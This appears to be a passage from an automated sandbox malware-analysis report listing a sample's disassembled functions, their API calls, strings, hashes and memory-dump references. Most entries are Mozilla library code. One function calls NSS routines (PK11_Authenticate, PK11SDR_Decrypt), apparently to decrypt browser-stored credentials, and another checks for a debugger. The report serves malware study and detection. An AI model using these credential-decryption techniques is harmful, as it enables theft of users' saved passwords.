Opcode Fuzzy Hash: 0f5bd5d770a3a0e8090a3b06163d05c794d4ac45c5295589dacac75b9bedc768
Instruction Fuzzy Hash: A191B471A04B018FD718EF29C49472AB7F1EBDD318F15892EE96AC7A81D734E845CB42

Function 6C224EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C224EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C224F2E
moz_xmalloc.MOZGLUE ref: 6C224F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C224F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C2252B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C2252E6
Sleep.KERNEL32(00000010), ref: 6C225481
free.MOZGLUE(?), ref: 6C225498

Strings

(, xrefs: 6C225250

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 009d32787df5cf546394cd33db149cabd72546e64a3a9a265ea7a69060d1051d
Instruction ID: 6afc527e86bbf84f666ed4fc10b6e248806b6031153e337c8a0d0d4900b9ede8
Opcode Fuzzy Hash: 009d32787df5cf546394cd33db149cabd72546e64a3a9a265ea7a69060d1051d
Instruction Fuzzy Hash: FAF1C171A18B418FC716DF38C85462BB7F5AFD6284F05872EFC4AA7691DB319842CB81

Function 6C205190 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 331timeCOMMON

Download Yara Rule

APIs

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C2051DF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C20529C
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,00000000), ref: 6C2052FF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C20536D
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C2053F7

Part of subcall function 6C1FAB89: EnterCriticalSection.KERNEL32(6C24E370,?,?,?,6C1C34DE,6C24F6CC,?,?,?,?,?,?,?,6C1C3284), ref: 6C1FAB94
Part of subcall function 6C1FAB89: LeaveCriticalSection.KERNEL32(6C24E370,?,6C1C34DE,6C24F6CC,?,?,?,?,?,?,?,6C1C3284,?,?,6C1E56F6), ref: 6C1FABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_RECORD_OVERHEADS), ref: 6C2056C3
__Init_thread_footer.LIBCMT ref: 6C2056E0

Strings

MOZ_PROFILER_RECORD_OVERHEADS, xrefs: 6C2056BE

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: BaseDurationPlatformSeconds@TimeUtils@mozilla@@$CriticalSection$EnterInit_thread_footerLeavegetenv
String ID: MOZ_PROFILER_RECORD_OVERHEADS
API String ID: 1227157289-345010206
Opcode ID: f41549303a4962960ac9c70c39c881ef9f34d862e27159aa602add10b24b1ac1
Instruction ID: db0a0a66a38d3334c1d48b40837c37ca22ad9c8c95733ab473e53d1485c9614c
Opcode Fuzzy Hash: f41549303a4962960ac9c70c39c881ef9f34d862e27159aa602add10b24b1ac1
Instruction Fuzzy Hash: 92E18F75A14F498AC712DF358850267B7BABF9B385F10DB1EFCAE2A950DB30A446C701

Function 6C227030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C227046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C227060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C22707E

Part of subcall function 6C1D81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C1D81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C227096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C22709C
LocalFree.KERNEL32(?), ref: 6C2270AA

Strings

(null), xrefs: 6C22706A, 6C227083
### ERROR: %s: %s, xrefs: 6C227087

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 6b324cff1555ae2b7e6ca145e0feb0a9c321938d39d017ec6e452334ac1fd4e9
Instruction ID: a40ad159e493fff5c455e3021e902addbba356b6abadeb4318b29c9fb53d874b
Opcode Fuzzy Hash: 6b324cff1555ae2b7e6ca145e0feb0a9c321938d39d017ec6e452334ac1fd4e9
Instruction Fuzzy Hash: 5D017EB1B001086FDB04AB64DC4EDAF7BBCEF49259F414425FD05A7241DA716914CBA1

Function 6C212C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C212C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C212C61

Part of subcall function 6C1C4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C1C4E5A
Part of subcall function 6C1C4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C1C4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C212C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C212E2D

Part of subcall function 6C1D81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C1D81DE

Strings

(root), xrefs: 6C21354F
ProfileBuffer parse error: %s, xrefs: 6C212E3B
expected a Time entry, xrefs: 6C212E36

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: e2899511995b480fcbd9387eec63c431c81af8daf47bd6e8ec1c531363a82c70
Instruction ID: ff994d2e2b0bda2f8dc2455f12c8d92f6ec03aa6d35b26aa9e7233c81a874289
Opcode Fuzzy Hash: e2899511995b480fcbd9387eec63c431c81af8daf47bd6e8ec1c531363a82c70
Instruction Fuzzy Hash: 9891AFB460C7498FD724CF24C49469FB7E1AF8A358F10891DFA9A8BB90DB30D549CB52

Function 6C229E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C229F3D
__aulldiv.LIBCMT ref: 6C229F77
__aullrem.LIBCMT ref: 6C229F8C
__aulldiv.LIBCMT ref: 6C22A023

Strings

NaN, xrefs: 6C229EAB
-Infinity, xrefs: 6C229E60, 6C229E7B

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: b5af8ca7a18548c0bdd57ca63f6012a6627f01f7395db5e8ee6680d9bb79822f
Instruction ID: ea8cda2f7d769614b826dfb1817b34e0bfd8eef618da9794af85d374ec539650
Opcode Fuzzy Hash: b5af8ca7a18548c0bdd57ca63f6012a6627f01f7395db5e8ee6680d9bb79822f
Instruction Fuzzy Hash: D3C19131E0431DCBDB14CFACC850B9EB7B6FB84714F144529E806ABB80DB79A949CB91

Function 0040C660 Relevance: 10.6, APIs: 7, Instructions: 93stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT(?,00000000,00001FA0), ref: 0040C693
lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,024AC560), ref: 0040C6B1
PK11_GetInternalKeySlot.NSS3 ref: 0040C6CA
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C6E5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C72B
memcpy.MSVCRT(?,?,?), ref: 0040C752
PK11_FreeSlot.NSS3(?), ref: 0040C7A1

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: K11_$Slot$AuthenticateDecryptFreeInternallstrlenmemcpymemset
String ID:
API String ID: 3720127775-0
Opcode ID: cbad7c0847f5c4f1099e9d5384a001de016509e2d4f22c5d3e1b4949098894a2
Instruction ID: c0f5229a5aee9ff77f702815419eeee9532eb5a68af55b4089f36d1ae8d19eeb
Opcode Fuzzy Hash: cbad7c0847f5c4f1099e9d5384a001de016509e2d4f22c5d3e1b4949098894a2
Instruction Fuzzy Hash: 96414E7490421ADFCB20CFA4DD89BEEBBB9AB48304F1042B9F509A7280D7745A85CF95

Function 6C22B910 Relevance: 9.1, APIs: 6, Instructions: 146nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 6C1D9B80: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,6C22B92D), ref: 6C1D9BC8
Part of subcall function 6C1D9B80: __Init_thread_footer.LIBCMT ref: 6C1D9BDB

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C1D03D4,?), ref: 6C22B955
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,0000001C,00000000,?,00000000,?,0000001C,00000000), ref: 6C22B9A5
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,00000000), ref: 6C22BA20
RtlNtStatusToDosError.NTDLL(00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6C22BA7B
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6C22BA81
GetLastError.KERNEL32(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6C22BA86

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Error$LastMemoryQueryVirtual$InfoInit_thread_footerStatusSystemWin32rand_s
String ID:
API String ID: 1753913139-0
Opcode ID: d83b1a4f2d5c4108b23db870f1ca027836b4ee0b02ce70a434c30f9d013d10a3
Instruction ID: 4115ae9160fc6c5485c02d58295661fbc7286cc5547838b96ff6ac063108d98d
Opcode Fuzzy Hash: d83b1a4f2d5c4108b23db870f1ca027836b4ee0b02ce70a434c30f9d013d10a3
Instruction Fuzzy Hash: D4516D71E0122EDFDF14CEA8D880ADDB7B6AF88314F144129ED06B7B44DB34AD458B90

Function 6C208AC0 Relevance: 7.7, APIs: 5, Instructions: 174timeCOMMON

Download Yara Rule

APIs

Part of subcall function 6C1FFA80: GetCurrentThreadId.KERNEL32 ref: 6C1FFA8D
Part of subcall function 6C1FFA80: AcquireSRWLockExclusive.KERNEL32(6C24F448), ref: 6C1FFA99

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C221563), ref: 6C208BD5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C221563), ref: 6C208C3A
ReleaseSRWLockExclusive.KERNEL32(-00000018,?,?,?,?,?,?,?,?,?,?,?,6C221563), ref: 6C208C74
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,6C221563), ref: 6C208CBA
free.MOZGLUE(?), ref: 6C208CCF

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ExclusiveLockNow@Stamp@mozilla@@TimeV12@_free$AcquireCurrentReleaseThread
String ID:
API String ID: 2153970598-0
Opcode ID: 864a385ad5a1e41a9f798a66b73c0f377cc113ebfe774b0c4c1f86ed3c46ba60
Instruction ID: 1b51c0cec0abaed54292297adb427685025bd58a12a372af28776c67fa889b52
Opcode Fuzzy Hash: 864a385ad5a1e41a9f798a66b73c0f377cc113ebfe774b0c4c1f86ed3c46ba60
Instruction Fuzzy Hash: 22716D75A14B058FD708CF29C480666B7F1FF99318F458A5EED899B722E770E884CB41

Function 6C1CF280 Relevance: 7.6, APIs: 5, Instructions: 87nativelibraryloaderCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,?,00000000,?,0000001C,?), ref: 6C1CF2B4
GetProcAddress.KERNEL32(00000000,?,000000FF,?,00000000,?,0000001C), ref: 6C1CF2F0
NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,0000001C,0000001C,?), ref: 6C1CF308
RtlNtStatusToDosError.NTDLL(00000000,000000FF,?,00000000,?,0000001C,?), ref: 6C1CF36B
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,?,00000000,?,0000001C,?), ref: 6C1CF371

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ErrorMemoryQueryVirtual$AddressLastProcStatusWin32
String ID:
API String ID: 1171715205-0
Opcode ID: de2c885842e4aacf64924e2d3dfef292dddf48506a380cbbc787ead0964b825a
Instruction ID: ab13a9a70cdbc8ebaec2dc60ffc586ac6be09da2a2a308b23a6cd688e0d7f982
Opcode Fuzzy Hash: de2c885842e4aacf64924e2d3dfef292dddf48506a380cbbc787ead0964b825a
Instruction Fuzzy Hash: 8421A570B01318FBEB109A65CE44BEF77B8AB5475CF14A22AF434965C0D7B89948C762

Function 0041ACFA Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041B562
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041B577
UnhandledExceptionFilter.KERNEL32(0041F298), ref: 0041B582
GetCurrentProcess.KERNEL32(C0000409), ref: 0041B59E
TerminateProcess.KERNEL32(00000000), ref: 0041B5A5

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: f83f28cb76d01a588ba20aedf737648f300cf2348463cefc92e4954df8d9d801
Instruction ID: e298f46f0b3396334d2e2e37c4a67069ca1d3d313a6b9180192500d6cd60c5fb
Opcode Fuzzy Hash: f83f28cb76d01a588ba20aedf737648f300cf2348463cefc92e4954df8d9d801
Instruction Fuzzy Hash: 2F21D678600214DFD720EF59F9D4AA97BB5FB08314F90803AE809D7261E7B46586CF9D

Function 6C23545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C238A4B

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 2c8cd1e5b02fe38b6a16daf31912fe19d532da7fd1c2ad96a975d851c90b1cf6
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: F0B1E8B2E0022A8FDB14CF68CC90B98B7B6EF85314F1412BAD94DDB781D7709995CB90

Function 6C23542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C2388F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C23925C

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 4767669878ea4a7f85a92e39aee0b73a491594e21e03bb9e0976dbac2cce0b9b
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: B2B1D7B2E0421A8FCB14CF58CC81AADB7B6EF85314F14127AC94DDB785D770A999CB90

Function 6C2350C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C238E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C23925C

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 20710441f6cb762736c3679717c6871bb1d90c0476a7f99344d2df567582dbec
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 11A1D9B2E0012A8FCB14CF58CC80B99B7B6AF85314F1542BAC94DEB745D770A999CB90

Function 6C2177A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C217A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C217A93

Part of subcall function 6C1E5C50: GetTickCount64.KERNEL32 ref: 6C1E5D40
Part of subcall function 6C1E5C50: EnterCriticalSection.KERNEL32(6C24F688), ref: 6C1E5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C217AA1

Part of subcall function 6C1E5C50: __aulldiv.LIBCMT ref: 6C1E5DB4
Part of subcall function 6C1E5C50: LeaveCriticalSection.KERNEL32(6C24F688), ref: 6C1E5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C217B31

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 636e8571853033ef665f5809d20bbef34b204cb880bba681628422dc4c727458
Instruction ID: 299e4d55fa12d45621e9ace56733241370375ee0ffbfb0486cbbab6dcdd55262
Opcode Fuzzy Hash: 636e8571853033ef665f5809d20bbef34b204cb880bba681628422dc4c727458
Instruction Fuzzy Hash: 84B16C3560C3898BDB14CE24C45069FB7E2BFC9718F154A1CEE9567B91DB70E90ACB82

Function 6C22B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

